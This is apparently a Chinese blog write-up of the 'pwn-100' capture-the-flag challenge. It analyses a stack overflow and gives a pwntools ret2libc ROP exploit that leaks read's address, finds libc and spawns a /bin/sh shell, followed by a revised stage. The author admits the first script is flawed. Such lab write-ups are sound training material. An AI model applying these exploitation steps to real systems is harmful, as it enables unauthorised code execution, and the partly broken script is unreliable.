• 『攻防世界』:进阶区 | pwn-100


    防护查看:

        Arch:     amd64-64-little
        RELRO:    Partial RELRO //RELRO会有Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)

    程序为64位程序,我们知道x86都是靠栈来传递参数的而x64换了它顺序是rdi, rsi, rdx, rcx, r8, r9,如果多于6个参数才会用栈我们要先知道这个特性;程序还开启了NX保护。NX位(No execute bit)是一种在CPU上实现的安全技术,这个位将内存页以数据和指令两种方式进行了分类。被标记为数据页的内存页(如栈和堆)上的数据无法被当成指令执行。由于该保护方式的使用,直接向内存中写入shellcode执行的方式显然失去了作用。因此,我们就需要学习一种著名的绕过技术——ROP(Return-Oriented Programming, 返回导向编程)

    ×ROP相关学习资料

    将程序放入IDA中静态分析:

    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      FILE *v3; // rdi
    
      setbuf(stdin, 0LL);
      v3 = stdout;
      setbuf(stdout, 0LL);
      sub_40068E(v3, 0LL);
      return 0LL;
    }
    main
    int sub_40068E()
    {
      char v1; // [rsp+0h] [rbp-40h]
    
      sub_40063D((__int64)&v1, 200);
      return puts("bye~");
    }
    sub_40068E()
     1 __int64 __fastcall sub_40063D(__int64 a1, signed int a2)
     2 {
     3   __int64 result; // rax
     4   unsigned int i; // [rsp+1Ch] [rbp-4h]
     5 
     6   for ( i = 0; ; ++i )
     7   {
     8     result = i;
     9     if ( (signed int)i >= a2 )
    10       break;
    11     read(0, (void *)((signed int)i + a1), 1uLL);
    12   }
    13   return result;
    14 }
    sub_40063D

    这个程序的漏洞就在于sub_40068E()函数中给v1开辟的空间0x40字节小于后面sub_40063D()函数对v1变量的写入大小200字节。这里可以利用达到栈溢出的目的。但是这题并没有这么简单,查便上下并没有发现可用的system函数和可用的参数:'/bin/sh'或是'$0'。能够利用的函数有puts和read.

    那么可以通过puts泄露出read的真实地址,再使用LibcSearcher获取到libc,进而再利用libc和read的plt地址和暴露出的真实地址得到的offset即可以得到system函数地址和/bin/sh地址。关于libcsearcher的使用可以看我之前发的buu入群题。

    exp思路:

     1 #coding:utf-8
     2 from pwn import *
     3 from LibcSearcher import *
     4 
     5 io = process("./pwn-100")
     6 elf = ELF("./pwn-100")
     7 
     8 read_got = elf.got['read'] 
     9 put_plt = elf.sym['puts']
    10 main_addr = 0x4006B8
    11 #ROPgadget --binary pwn-100 --only 'pop|ret'
    12 pop_rdi_ret = 0x0400763
    13 
    14 payload = b'a'*0x48 
    15 payload += p64(pop_rdi_ret)
    16 payload += p64(read_got)
    17 payload += p64(put_plt)
    18 payload += p64(main_addr)
    19 payload += 'a'*(0xC8-0x48-32)
    20 
    21 io.send(payload)
    22 io.recvuntil('bye~
    ')
    23 #read_addr = u64(a.recv(4)),这个程序为64位,接受地址可能会被/x00截断,所以引用老湿傅的接收方法。
    24 #注意,这步重要,必须要去掉末尾的
    符号27.
    25 s = io.recv().split('
    ')[0]
    26 #凑足长度8
    27 for i in range(len(s),8):
    28     s=s+'x00'
    29 read_addr = u64(s)
    30 #入群题有LibcSearcher函数的使用资料链接
    31 libc = LibcSearcher("read",read_addr)
    32 offset = read_addr - libc.dump('read')
    33 #获取两个至关重要的地址
    34 system_addr=libc.dump("system")+offset
    35 binsh_addr=libc.dump("str_bin_sh")+offset
    36 
    37 payload='a'*0x48+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)+'a'*(0xC8-0x48-24)
    38 io.send(payload)
    39 io.interactive()
    EXP_RAW

     改:这个exp好像还是有问题,会出现多个匹配的libc,而且不能够很好的使用libc中的system地址和str_bin_sh。这里的bin/sh就由我们写入到一个可读可写的内存块上(使用vmmap可以查看)

    def stageone():
        payload = 'A'*length+"AAAAAAAA"+p64(pop_rdi)+p64(read_got)     #pop_rdi后紧接read_got,就把read_got传入了rdi,作为参数
        +p64(put_plt)+p64(pop_rdi)+p64(bss)     #上一行执行ret的时候就跳转到puts_plt,执行到现在就类似于执行了一个puts(read_got)
        +p64(pop_rsi_r15)+p64(7)+p64(0)+p64(readn)+p64(start)    #这一行也类似,上一行把bss的地址pop入rdi,然后把7pop入rsi,然后执行readn,就类似于执行了readn(bss,7)
        payload += "A"*(max_length-len(payload))    #这里就是填充
        io.send(payload)
        sleep(1)
        io.send("/bin/sh")        #payload送出去以后,会先puts,然后执行readn(bss,7),所以就要再送入/bin/sh字符串
        print io.recvuntil("bye~")
        return u64(io.recv()[1:-1].ljust(8,''))
    补充

    https://blog.csdn.net/weixin_42151611/article/details/91474574,这里有一个老湿傅的wp可以借鉴一下,但是还有一些堆栈平衡的问题需要自己去考虑一下。

  • 相关阅读:
    强迫症
    bzoj1758 [Wc2010]重建计划
    bzoj1070 [SCOI2007]修车
    bzoj3675 [Apio2014]序列分割
    bzoj1010 [HNOI2008]玩具装箱toy
    bzoj3697 采药人的路径
    bzoj2152 聪聪可可
    bzoj2599 [IOI2011]Race
    Ubuntu 18.04 LTS 下 GTK3 安装与编译
    启动或重启 dnsmasq 提示端口 53 被占用的解决方案
  • 原文地址:https://www.cnblogs.com/Zowie/p/13567945.html
Copyright © 2020-2023  润新知